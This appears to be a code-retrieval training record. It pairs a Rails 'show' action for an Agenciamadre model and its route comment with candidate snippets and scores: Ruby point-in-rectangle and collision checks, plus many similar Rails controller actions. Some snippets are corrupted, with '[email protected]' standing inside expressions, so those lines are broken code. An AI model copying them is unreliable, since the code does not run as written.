[ "def pos_rect_nt?(x, y, rect)\r\r\n pos_rect?(x, y, rect) && !@through\r\r\n end", "def pointInside(point, withEvent:event)\n CGRectContainsPoint(actual_bounds, point)\n end", "def pointInside(point, withEvent:event)\n CGRectContainsPoint(actual_bounds, point)\n end", "def contains_point?(pt)\n pt.x.between?(left, left + width - 1) &&\n pt.y.between?(top, top + height - 1)\n end", "def inside?(mouse_x, mouse_y)\n pos_x = @x * @width\n pos_y = @y * @height\n mouse_x >= pos_x && mouse_x <= pos_x + @width && \\\n mouse_y >= pos_y && mouse_y <= pos_y + @height\n end", "def inside_rect?(point1, point2)\n lats = [point1.lat, point2.lat].sort\n lons = [point1.lon, point2.lon].sort\n la = self.lat\n lo = self.lon\n\n (la >= lats[0] && la <= lats[1] && lo >= lons[0] && lo <= lons[1])\n end", "def intersect? rect\n rect.is_a?(Rectangle) && !(@x + @width < rect.x || rect.x + rect.width < @x || @y + @height < rect.y || rect.y + rect.height < @y)\n end", "def inside_rect? outer, tolerance = 0.0\n Geometry.inside_rect? self, outer, tolerance\n end", "def isInside(_pos)\n return @shape.insidePoint?(_pos) ;\n end", "def inside?(x, y)\n x >= 0 && x < @width && y >= 0 && y < @height\n end", "def point_in_rectangle(point_x, point_y, first_x, first_y, second_x, second_y)\r\n\t\tif point_x.between?(first_x, second_x) and point_y.between?(first_y, second_y)\r\n\t\t\treturn true\r\n\t\tend\r\n\tend", "def point_in_rectangle(point_x, point_y, first_x, first_y, second_x, second_y)\r\n\t\tif point_x.between?(first_x, second_x) and point_y.between?(first_y, second_y)\r\n\t\t\treturn true\r\n\t\tend\r\n\tend", "def under_point?(mouse_x, mouse_y)\n mouse_x > x - PAD && mouse_x < x + width + PAD && mouse_y > y - PAD && mouse_y < y + height + PAD\n end", "def under_point?(mouse_x, mouse_y)\n border.contains?(mouse_x, mouse_y)\n end", "def hit?(x, y)\n @rect.collide_point?(x, y)\n end", "def contain?(rect)\n nself = self#.normalize\n rect = Rect.new_from_object(rect)#.normalize!\n return (nself.left <= rect.left and rect.right <= nself.right and\n nself.top <= rect.top and rect.bottom <= nself.bottom)\n end", "def under_point?(mouse_x, mouse_y)\n mouse_x > x - PADDING_X and mouse_x < x + @width + PADDING_X and\n mouse_y > y - PADDING_Y and mouse_y < y + @height + PADDING_Y\n end", "def within_clickable?(x, y)\n if x >= @px && x <= @qx then\n if y >= @py && y <= @qy then\n return true\n end\n end\n \n false\n end", "def collide_rect?(rect)\n return true if collide_point?(rect.topleft)\n return true if collide_point?(rect.topright)\n return true if collide_point?(rect.bottomleft)\n collide_point?(rect.bottomright)\n end", "def pointInside(point, withEvent:event)\n bounds = self.bounds\n bounds = CGRectInset(bounds, -20, -15)\n return CGRectContainsPoint(bounds, point)\n end", "def in_bounds?(point, scr_height, scr_width)\n point[0].between?(0, scr_height-1) && point[1].between?(0, scr_width-1)\nend", "def within?(x, y)\n (x >= 0) && (x < height) && (y >= 0) && (y < height)\n end", "def contains?(x, y)\n x > bounds.x && x < bounds.x+bounds.width && y > bounds.y && y < bounds.y+bounds.height\n end", "def contains?(point)\n point.inside?(self)\n end", "def under_point?(mouse_x, mouse_y)\n mouse_x > x - PADDING and mouse_x < x + width + PADDING and\n mouse_y > y - PADDING and mouse_y < y + height + PADDING\n end", "def coordinates_inside_box?(x_idx, y_idx)\n (x_idx >= 0 && x_idx < width) && (y_idx >= 0 && y_idx < height)\n end", "def overlap?(rect)\n return false unless rect.is_a? Rectangle\n\n return (@x1 <= rect.x2 && \n @x2 >= rect.x1 && \n @y1 <= rect.y2 && \n @y2 >= rect.y1)\n end", "def within_bounds?(query_point)\n query_point.x >= point.x && query_point.x <= point.x + image.width &&\n query_point.y >= point.y && query_point.y <= point.y + image.height\n end", "def point_inside?(point)\n Geom.point_in_polygon_2D(point, hexagon(position, RADIUS), true)\n end", "def in_bounding_box?(point, box)\n if point.lon > box.west_lon and point.lon < box.east_lon and point.lat < box.north_lat and point.lat > box.south_lat\n return true\n else\n return false \n end\n end", "def included_in?(other_rect)\n self == self.intersects(other_rect)\n end", "def has_point(x, y)\n is_negative = (x < 0 or y < 0)\n is_greater_than_dimensions = (x > @width or y > @height)\n\n if is_negative or is_greater_than_dimensions\n result = false\n puts \"[#{x},#{y}] is Outside of Grid, Robot will ignore command\"\n else\n result = true\n end\n\n return result;\n end", "def contains_point(point, include_border=false)\n point.x.between?(@x, self.right) && point.y.between?(y, self.bottom) unless include_border\n (point.x >= @x) && (point.x <= self.right) && (point.y >= @y) && (point.y <= self.bottom)\n end", "def contains_point?(x,y)\n contains_x = x.between?(left, right)\n contains_y = y.between?(bottom, top)\n return (contains_x && contains_y)\n end", "def inbounds?(point)\n return false if point.x < 0\n return false if point.x >= @grid_width\n return false if point.y < 0\n return false if point.y >= @grid_height\n return true\n end", "def in_bounds?(x, y)\n layout.bounds.contains?(x - element_left, y - element_top)\n end", "def events_xy_rect(x, y, rect)\r\r\n @events.values.select {|event| event.pos_rect?(x, y, rect) }\r\r\n end", "def inArea?(x,y,width,height)\n rect=Rect.new(x,y,width,height)\n return self.over?(rect)\n end", "def in_bounds?(x, y)\n layout.bounds.contains?(x - element_left, y - element_top)\n end", "def within_drawn? x1, y1, x2, y2\n ((x2 - @origin.x) < x1 && x1 < (x2 - origin.x + size.x) && (y2 - @origin.y) < y1 && y1 < (y2 - origin.y + size.y))\nend", "def passable_rect?(x, y, d, rect)\r\r\n x2 = x + (rect.x / 32.0)\r\r\n y2 = y + (rect.y / 32.0)\r\r\n x3 = x2 + (rect.width / 32.0)\r\r\n y3 = y2 + (rect.height / 32.0)\r\r\n x4 = (x2 + x3) / 2.0\r\r\n y4 = (y2 + y3) / 2.0\r\r\n\r\r\n if((x2.floor != x3.floor && [1, 3, 4, 6, 7, 9].include?(d)) || (y2.floor != y3.floor && [1, 2, 3, 7, 8, 9].include?(d)))\r\r\n return false if ([1, 2, 3].include?(d) && !check_passage(x2, y2, 1)) || ([3, 6, 9].include?(d) && !check_passage(x2, y2, 4))\r\r\n return false if ([3, 6, 9].include?(d) && !check_passage(x2, y3, 4)) || ([7, 8, 9].include?(d) && !check_passage(x2, y3, 8))\r\r\n return false if ([1, 2, 3].include?(d) && !check_passage(x3, y2, 1)) || ([1, 4, 7].include?(d) && !check_passage(x3, y2, 2))\r\r\n return false if ([1, 4, 7].include?(d) && !check_passage(x3, y3, 2)) || ([7, 8, 9].include?(d) && !check_passage(x3, y3, 8))\r\r\n end\r\r\n return true\r\r\n end", "def in?(x, y)\n check_x = x.between?(self.x, self.x+self.width)\n check_y = y.between?(self.y, self.y+self.height)\n check_x && check_y\n end", "def overlaps? point\n inside_top_left?(point) && inside_bottom_right?(point)\n end", "def in?(x, y)\n check_x = x.between?(@x, @x+@width)\n check_y = y.between?(@y, @y+@height)\n check_x && check_y\n end", "def inside?(elem)\n [:left, :top, :width, :height].each do |type|\n return false unless elem.respond_to? type\n end\n (@left > elem.left) && (@left < elem.left + elem.width) &&\n (@top > elem.top) && (@top < elem.top + elem.height)\n end", "def map_passable_rect?(x, y, d, rect)\r\r\n $game_map.passable_rect?(x, y, d, rect)\r\r\n end", "def contains?(x, y)\n x >= @x && x <= (@x + @width) && y >= @y && y <= (@y + @height)\n end", "def collide_rect?(rect)\n rect = Rect.new_from_object(rect)\n ((l >= rect.l && l <= rect.r) or (rect.l >= l && rect.l <= r)) &&\n ((t >= rect.t && t <= rect.b) or (rect.t >= t && rect.t <= b))\n end", "def collide_rect?(x, y, rect)\r\r\n !@through && (pos_rect?(x, y, rect) || followers.collide_rect?(x, y, rect))\r\r\n end", "def boat_passable_rect?(x, y, rect)\r\r\n x2 = x + (rect.x / 32.0)\r\r\n y2 = y + (rect.y / 32.0)\r\r\n x3 = x2 + (rect.width / 32.0)\r\r\n y3 = y2 + (rect.height / 32.0)\r\r\n return false unless check_passage(x2, y2, 0x0200)\r\r\n return false unless check_passage(x2, y3, 0x0200)\r\r\n return false unless check_passage(x3, y2, 0x0200)\r\r\n return check_passage(x3, y3, 0x0200)\r\r\n end", "def intersectRect(rect)\n rect.containsXY(left,top) ||\n rect.containsXY(right,top) ||\n rect.containsXY(left,bottom) ||\n rect.containsXY(right,bottom) ||\n self.containsXY(rect.left,rect.top) ||\n self.containsXY(rect.right,rect.top) ||\n self.containsXY(rect.left, rect.bottom) ||\n self.containsXY(rect.right,rect.bottom)\n end", "def mouse_inside?\n mouse_location = self.window.mouseLocationOutsideOfEventStream\n hit_view = self.hitTest(self.convertPoint(mouse_location, fromView:nil))\n \n hit_view != nil\n end", "def point_in_canvas(x, y)\n [*1..canvas.size - 2].include?(y) && [*1..canvas.first.size - 2].include?(x)\n end", "def pos_rect?(x, y, rect)\r\r\n main_left = @x + collision_rect.x / 32.0\r\r\n main_top = @y + collision_rect.y / 32.0\r\r\n main_right = main_left + collision_rect.width / 32.0\r\r\n main_bottom = main_top + collision_rect.height / 32.0\r\r\n other_left = x + rect.x / 32.0\r\r\n other_top = y + rect.y / 32.0\r\r\n other_right = other_left + rect.width / 32.0\r\r\n other_bottom = other_top + rect.height / 32.0\r\r\n coltest = true\r\r\n coltest = false if main_right < other_left\r\r\n coltest = false if main_left > other_right\r\r\n coltest = false if main_bottom < other_top\r\r\n coltest = false if main_top > other_bottom\r\r\n if coltest == false && ($game_map.loop_horizontal? || $game_map.loop_vertical?) && x <= $game_map.width && y <= $game_map.height\r\r\n return true if $game_map.loop_horizontal? && pos_rect?(x + $game_map.width, y, rect)\r\r\n return true if $game_map.loop_vertical? && pos_rect?(x, y + $game_map.height, rect)\r\r\n end\r\r\n return coltest\r\r\n end", "def inRectangle(points)\n\tpointsY = points.sort{|a, b| a[Y_COORDINATE] <=> b[Y_COORDINATE]}\n\treturn false if pointsY[0][Y_COORDINATE] > ORIGIN[Y_COORDINATE]\n\treturn false if pointsY[2][Y_COORDINATE] < ORIGIN[Y_COORDINATE]\n\tpointsX = points.sort{|a, b| a[X_COORDINATE] <=> b[X_COORDINATE]}\n\treturn false if pointsX[0][X_COORDINATE] > ORIGIN[X_COORDINATE]\n\treturn false if pointsX[2][X_COORDINATE] < ORIGIN[X_COORDINATE]\n\treturn true\nend", "def includes_point?(point)\n horizontal_extent.include?(point.x) && vertical_extent.include?(point.y)\n end", "def contain?(x, y)\n # assume a rectangular filled shape by default (works for several shapes like image, text, and focus)\n x.between?(self.absolute_x, self.absolute_x + calculated_width) && y.between?(self.absolute_y, self.absolute_y + calculated_height)\n end", "def events_xy_rect_nt(x, y, rect)\r\r\n @events.values.select {|event| event.pos_rect_nt?(x, y, rect) }\r\r\n end", "def over?(x, y = nil, w = nil, h = nil)\n return @x >= x.x && @x < x.x + x.w && @y >= x.y && @y < x.y + x.h if x.is_a? Rectangle\n @x >= x && @x < x + w && @y >= y && @y < y + h\n end", "def collide_point?(point)\n distance = Math.hypot(point[0][email protected][0],point[1][email protected][1])\n distance < @rect.w/2\n end", "def area_clicked(leftX, topY, rightX, bottomY)\n # complete this code\n if ((mouse_x > leftX and mouse_x < rightX) and (mouse_y > topY and mouse_y < bottomY))\n true\n else\n false\n end\nend", "def point_is_inside(point)\n result = false\n vertex1 = @points.length - 1\n for vertex2 in [email protected]\n if ((@points[vertex2].y > point.y) != (@points[vertex1].y >= point.y)) && (point.x <= (points[vertex1].x - points[vertex2].x) * (point.y - points[vertex2].y) / (points[vertex1].y - points[vertex2].y) + points[vertex2].x)\n result = !result\n end\n vertex1 = vertex2\n vertex2 += 1\n end\n return result\n end", "def in?(x, y)\n w = (([email protected]_f)**2.0)/(@width.to_f/2.0)\n h = (([email protected]_f)**2.0)/(@height.to_f/2.0)\n w + h <= 1\n end", "def mouse_inside_grid?\n inputs.mouse.point.inside_rect?(scale_up(grid.rect))\n end", "def contains?(point)\n contains_xy?(point.x, point.y)\n end", "def tile_events_xy_rect(x, y, rect)\r\r\n @tile_events.select {|event| event.pos_rect_nt?(x, y, rect) }\r\r\n end", "def in_bounds?(x, y)\n x >= 0 && x < @grid_width && y >= 0 && y < @grid_height\n end", "def is_within(layer)\n if !layer.nil?\n layerStartsWithinXBoundaries = self.x > layer.x && (self.x + self.width) < (layer.x + layer.width)\n layerStartsWithinYBoundaries = self.y > layer.y && (self.y + self.height) < (layer.y + layer.height)\n\n return layerStartsWithinXBoundaries && layerStartsWithinYBoundaries\n end\n\n false\n end", "def airship_land_ok_rect?(x, y, rect)\r\r\n x2 = x + (rect.x / 32.0)\r\r\n y2 = y + (rect.y / 32.0)\r\r\n x3 = x2 + (rect.width / 32.0)\r\r\n y3 = y2 + (rect.height / 32.0)\r\r\n return false unless check_passage(x2, y2, 0x0800) && check_passage(x2, y2, 0x0f)\r\r\n return false unless check_passage(x2, y3, 0x0800) && check_passage(x2, y3, 0x0f)\r\r\n return false unless check_passage(x3, y2, 0x0800) && check_passage(x3, y2, 0x0f)\r\r\n return check_passage(x3, y3, 0x0800) && check_passage(x3, y3, 0x0f)\r\r\n end", "def isInside(_pos)\n raise \"not defined\" ;\n end", "def point_to_rect_tech_demo\n x = 460\n\n outputs.labels << small_label(x, 15, \"Click inside the blue box maybe ---->\")\n\n box = [765, 370, 50, 50, 0, 0, 170] # blue box\n outputs.borders << box\n\n if state.last_mouse_click # if the mouse was clicked\n if state.last_mouse_click.point.inside_rect? box # if mouse clicked inside box\n outputs.labels << small_label(x, 16, \"Mouse click happened inside the box.\")\n else # otherwise, if mouse was clicked outside the box\n outputs.labels << small_label(x, 16, \"Mouse click happened outside the box.\")\n end\n else # otherwise, if was not clicked at all\n outputs.labels << small_label(x, 16, \"Mouse click has not occurred yet.\") # output if the mouse was not clicked\n end\n\n # border around mouse input demo section\n outputs.borders << [455, row_to_px(14), 360, row_to_px(11).shift_up(5) - row_to_px(14)]\n end", "def collide_point?(x,y)\n nself = normalize()\n x.between?(nself.left,nself.right) && y.between?(nself.top,nself.bottom)\n end", "def lies_outside? point\n\t\tx = point.x\n\t\ty = point.y\n\n\t\tx < 0 or x > @dimension or \\\n\t\ty < 0 or y > @dimension\n\tend", "def over?(object=nil,width=-1,height=-1)\n return false if object.nil?\n params=self.getObjectParams(object)\n x=params[0]\n y=params[1]\n width=params[2] if width < 0\n height=params[3] if height < 0\n return true if @x >= x && @x <= (x + width) and @y >= y && @y <= (y + height)\n return false\n end", "def left_corner_inside?(rectangle, point)\n return ((point[0] >= rectangle[0][0] and\n point[0] < rectangle[1][0]) and\n (point[1] >= rectangle[0][1] and\n point[1] < rectangle[1][1]))\nend", "def pos?(x, y)\n (width.include?(x) && height.include?(y)) ||\n occupied_spaces.include?([x, y])\n end", "def include?(x, y)\n # assume a rectangular shape by default\n contain?(x, y)\n end", "def ship_passable_rect?(x, y, rect)\r\r\n x2 = x + (rect.x / 32.0)\r\r\n y2 = y + (rect.y / 32.0)\r\r\n x3 = x2 + (rect.width / 32.0)\r\r\n y3 = y2 + (rect.height / 32.0)\r\r\n return false unless check_passage(x2, y2, 0x0400)\r\r\n return false unless check_passage(x2, y3, 0x0400)\r\r\n return false unless check_passage(x3, y2, 0x0400)\r\r\n return check_passage(x3, y3, 0x0400)\r\r\n end", "def contains? position\n # If POI is given instead of location, get location first\n position = position.location if PointOfInterest === position\n\n x = position[0]\n y = position[1]\n\n # Use the raycasting technique to determine if point is inside polygon\n # We are in 2D, which makes it easier.\n # We can also choose the direction of the ray, which makes it almost trivial\n # (Choose ray paralell to x-achis\n intersections = 0\n\n [vertices, vertices.first].flatten.each_cons(2) do |v1, v2|\n # Check if we are inside bounding recangle of 2 vertices\n v1x = v1[0]\n v1y = v1[1]\n v2x = v2[0]\n v2y = v2[1]\n if (v1y < y and y <= v2y) or (v1y >= y and y > v2y)\n # check if we are LEFT of or onthe line from v1 to v2 is at this x coordinate\n cp.polygon(*p.map_vertices.map{|v| v.to_a}.flatten)\n vx = v2x - v1x\n vy = v2y - v1y\n if (x <= v1x and x < v2x)\n intersections +=1\n elsif x >= v1x and x > v2x\n next\n else\n x_line = v1x + vx * (y - v1y) / vy\n if vy == 0 or vx == 0 or x < x_line\n intersections += 1\n end\n end\n end\n end\n return intersections.odd?\n end", "def contains_position?(point)\n translated_position = absolute_position\n\n # TODO: Sizing ignores zoom\n # TODO: Disgustingly long line\n point.x >= translated_position.x && point.x <= translated_position.x + width && point.y >= translated_position.y && point.y <= translated_position.y + height\n end", "def simple_mouse_in?(mouse_x = Mouse.x, mouse_y = Mouse.y)\n coords = @viewport.translate_mouse_coords(mouse_x, mouse_y)\n return coords[0].between?(@x, @x + @width) &&\n coords[1].between?(@y, @y + @height)\n end", "def in?(px, py)\n ix, iy = @max+100, @max+100\n nbintersections = 0\n @points.each_index do |index|\n ax, ay = *@points[index]\n bx, by = *@points[(index + 1) % @points.length]\n nbintersections += intersectsegment(ax, ay, bx, by, ix, iy, px, py)\n end\n return (nbintersections%2 == 1)\n end", "def include?(point)\r\n (point - @pos).abs <= @radius\r\n end", "def inside?(*args)\n\t\tsignature_error = \"Specify a point(two floats, or one Point), line(two Point), or rectangle(one Rectangle).\"\n\t\t\n\t\traise \"Wrong arity. \" + signature_error unless args.length == 1 or args.length == 2\n\t\t\n\t\t\n\t\t\n\t\tcase args.length\n\t\t\twhen 1\n\t\t\t\tif klass.is_a? Point\n\t\t\t\t\tself.inside_p *args\n\t\t\t\telsif klass.is_a? Rectangle\n\t\t\t\t\tself.inside_r *args\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t# Will have exited by this point, unless there was an error.\n\t\t\t\traise \"One argument given. Expected Point or Rectangle, but recieved #{args[0].class.inspect} instead. \" + signature_error\n\t\t\twhen 2\n\t\t\t\tif args[0].class == args[1].class\n\t\t\t\t\tklass = args.first.class\n\t\t\t\t\tif klass.is_a? Point\n\t\t\t\t\t\t# a line, specified by two points\n\t\t\t\t\t\tself.inside_pp *args\n\t\t\t\t\telsif klass.is_a? Float\n\t\t\t\t\t\t# a point in space, specified by two floats\n\t\t\t\t\t\tself.inside_xy *args \n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t# Will have exited by this point, unless there was an error.\n\t\t\t\traise \"Two arguments given. Expected both to be Point or both to be Float, but recieved #{[args[0].class, args[1].class].inspect} instead. \" + signature_error\n\t\tend\n\tend", "def simple_mouse_in?(mouse_x = Mouse.x, mouse_y = Mouse.y)\n return false unless @enabled\n\n return mouse_x.between?(@viewport.rect.x, @viewport.rect.x + @viewport.rect.width) &&\n mouse_y.between?(@viewport.rect.y, @viewport.rect.y + @viewport.rect.height)\n end", "def in_bounds?(x, y)\n return false if x.to_i < 0\n return false if y.to_i < 0\n\n x.to_i < cols && y.to_i < rows\n end", "def rover_in_bounds?(coordinate_x, coordinate_y)\n coordinate_x <= boundary_x && coordinate_y <= boundary_y && coordinate_x >= 0 && coordinate_y >= 0\n end", "def coordinate_valid?(x, y)\n (x >= 0) && (y >= 0) && (x < @width) && (y < @height)\n end", "def coordinate_valid?(x, y)\n (x >= 0) && (y >= 0) && (x < @width) && (y < @height)\n end", "def contains_pos?(*args)\n s = screen_position\n px, py = *Vector2.extract(args.size > 1 ? args : args.first)\n px.between?(s.x, s.x + w) && py.between?(s.y, s.y + h)\n end", "def in_screen?\n return (self.x.between?(0, 639) && (self.y-16).between?(0, 479))\n end", "def falls_within?(x, y)\n x >= 0 && x < x_dimension && y >= 0 && y < y_dimension\n end", "def collide_rect?(other_rect)\n !intersects(other_rect).empty?\n end", "def in_bounds(pos)\n pos.all? { |coord| coord.between?(0, 7) }\n end", "def ==(rect)\n @left_edge == rect.left_edge &&\n @right_edge == rect.right_edge &&\n @top_edge == rect.top_edge &&\n @bottom_edge == rect.bottom_edge\n end", "def out_of_bounds?(x, y)\n x < 0 || y < 0 || x > @width - 1 || y > @height - 1\n end", "def detect_player_rect(nx, ny)\n return false if $game_switches[Yuki::Sw::Env_Detection]\n c = $game_map.events[@event_id]\n dx = ($game_player.x - c.x).abs\n dy = ($game_player.y - c.y).abs\n return (dx <= nx && dy <= ny)\n end", "def isInside(_pos)\n _pos = Geo2D::Point::sureGeoObj(_pos) ;\n distance = centerPos().distanceTo(_pos) ;\n return distance < @radius ;\n end", "def rectangle?()\n return @type == \"rectangle\"\n end", "def include?(point)\n Math.sqrt((point.x - @middle.x)**2 + (point.y - @middle.y)**2) <= @radius\n end", "def is_out_of_boundary?(point)\n point.x < 0 || point.y < 0 || point.x >= @dimension || point.y >= @dimension\n end" ]
[ "0.7896517", "0.7896006", "0.7896006", "0.78128976", "0.7786337", "0.7745475", "0.77379644", "0.77063495", "0.7699067", "0.76848376", "0.7638694", "0.7638694", "0.7588619", "0.7548409", "0.7524754", "0.752382", "0.7438561", "0.7437344", "0.7437149", "0.7430438", "0.7379128", "0.733246", "0.7328886", "0.73238325", "0.73064256", "0.72245014", "0.7218541", "0.72112024", "0.72106475", "0.71733874", "0.7164928", "0.7154365", "0.71525306", "0.7150252", "0.7145039", "0.7137864", "0.7132679", "0.71148646", "0.70975024", "0.70848715", "0.7075927", "0.7069426", "0.7059016", "0.7056428", "0.7025473", "0.7003498", "0.6995935", "0.69515836", "0.69489706", "0.69382423", "0.6937988", "0.6932153", "0.69053113", "0.6893779", "0.6889961", "0.6861583", "0.68602425", "0.6854241", "0.6852137", "0.6852104", "0.6831515", "0.68266696", "0.68209046", "0.6769867", "0.6764311", "0.6762196", "0.6731479", "0.67266214", "0.6722808", "0.6719817", "0.6717131", "0.6698011", "0.6683317", "0.66744596", "0.66668254", "0.66299284", "0.66292024", "0.66267157", "0.6624724", "0.661352", "0.66127264", "0.6598825", "0.65971285", "0.6589759", "0.6586439", "0.6558729", "0.6524939", "0.65160453", "0.65160453", "0.65131646", "0.65002877", "0.64845157", "0.64772093", "0.64683306", "0.64675957", "0.6458775", "0.64350057", "0.64212364", "0.64155424", "0.64090747", "0.64082515" ]
0.0
-1
GET /agenciamadres/1 GET /agenciamadres/1.xml
def show @agenciamadre = Agenciamadre.find(params[:id]) respond_to do |format| format.html # show.html.erb format.xml { render :xml => @agenciamadre } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @relatestagiario = Relatestagiario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @relatestagiario }\n end\n end", "def download_xml\n\t\turi = URI.parse(\"http://www.esmadrid.com/opendata/tiendas_v1_es.xml\")\n\t\tresponse = Net::HTTP.get_response(uri)\n\t\tcontent = response.body\n\n\t\txml = REXML::Document.new(content)\n\n\t\treturn xml\n\tend", "def show\n @arrendamientosprorroga = Arrendamientosprorroga.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @arrendamientosprorroga }\n end\n end", "def index\n @acres = Acre.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @acres }\n end\n end", "def show\n @frequencia_orgao = Frequencia::Orgao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb.erb\n format.xml { render :xml => @frequencia_orgao }\n end\n end", "def get_xml\n response = @api.request(:get, @location, type: 'xml')\n response.body if response.status == 200\n end", "def show\n @daily_grr = DailyGrr.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @daily_grr }\n end\n end", "def show\n @gene_ontology = GeneOntology.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @gene_ontology }\n end\n end", "def show\n @allergen = Allergen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @allergen }\n end\n end", "def show\n @reputacao_veiculo = ReputacaoVeiculo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @reputacao_veiculo }\n end\n end", "def show\n @analisis = Analisis.find(params[:id])\n\n respond_to do |format|\n format.xml { render :xml => @analisis }\n end\n end", "def rest_get(uri)\n \n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n return doc\n \n end\n \nend", "def show\n @acre = Acre.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @acre }\n end\n end", "def show\n @regiaos = Regiao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @regiaos }\n end\n end", "def show\n @aplicacion = Aplicacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @aplicacion }\n end\n end", "def show\n @estagiarios = Estagiario.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @estagiarios }\n end\n end", "def show\n @estagio = Estagio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @estagio }\n end\n end", "def show\n @ingreso = Ingreso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ingreso }\n end\n end", "def show\n @arrendimientospago = Arrendimientospago.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @arrendimientospago }\n end\n end", "def show\n @agile_task = AgileTask.find(params[:id])\n\n respond_to do |format|\n format.xml { render :xml => @agile_task }\n end\n end", "def show\n \n@clicker = Clicker.find(params[:id])\n\n \nrespond_to do |format|\n \nformat.html # show.html.erb\n \nformat.xml { render :xml => @clicker+\"yyyyy\" }\n \n end\n \nend", "def show\n @asistencia = Asistencia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @asistencia }\n end\n end", "def show\n @reputacao_carona = ReputacaoCarona.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @reputacao_carona }\n end\n end", "def show\n @retirada = Retirada.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @retirada }\n end\n end", "def xml(id)\n http.get(\"/nfse/#{id}/xml\") do |response|\n response.headers.fetch(\"Location\") { \"\" }\n end\n end", "def index\n @asistencias = Asistencia.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @asistencias }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @instituto }\n end\n end", "def api_xml(path,method=:get,options={})\n xml_message(amee,\"/data\"+path,method,options)\n end", "def show\n @arc = Arc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @arc.to_xml(:except => [ :created_at, :updated_at ], :include => :tahs) }\n end\n end", "def xres\n get \"xres\"\n end", "def disp_xml_rq\n body= File.open(\"public/OTA/OTA_HotelAvailRQ100.xml\").read\n render :xml => body\n end", "def show\n @respuestum = Respuestum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @respuestum }\n end\n end", "def pacscl_xml\n document = Blacklight.default_index.search(q: \"id:#{params[:id]}\")&.dig(\"response\", \"docs\")&.first\n document = SolrDocument.new(document)\n document.suppress_xml_containers!\n respond_to do |format|\n format.xml do\n render xml: document.export_as_xml\n end\n end\n end", "def show\n @odc_r = OdcR.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @odc_r }\n end\n end", "def show\n @aviso = Aviso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @aviso }\n end\n end", "def show\n @descriptor_generico = DescriptorGenerico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @descriptor_generico }\n end\n end", "def show\n @vigencia = Vigencia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vigencia }\n end\n end", "def show\n @advert = Advert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @advert }\n end\n end", "def show\n @advert = Advert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @advert }\n end\n end", "def show\n @receita = Receita.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @receita }\n end\n end", "def show\n @receita = Receita.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @receita }\n end\n end", "def show\n @relatorios = Relatorio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @relatorios }\n end\n end", "def show\n @visaapp = Visaapp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @visaapp }\n end\n end", "def show\n @situacoes_juridica = SituacoesJuridica.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @situacoes_juridica }\n end\n end", "def show\n @reclamacao = Reclamacao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @reclamacao }\n end\n end", "def show\n @entradas = Entrada.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entradas }\n end\n end", "def show\n @distribuidora = Distribuidora.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @distribuidora }\n end\n end", "def show\n @feria2010observacion = Feria2010observacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feria2010observacion }\n end\n end", "def show\n @asset = Resource.find(params[:id])\n \n respond_to do |format|\n format.html { render :xml => @asset }# index.html.erb\n format.xml { render :xml => @asset }# index.xml.builder\n format.json { render :json => @asset }# index.xml.builder\n end\n end", "def index\n @car = Car.find(params[:car_id])\n @assets = @car.assets\n\n respond_to do |format|\n format.xml {render xml: @assets}\n format.json {render json: @assets}\n end\n end", "def show\n @orc_empenho_iten = OrcEmpenhoIten.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml 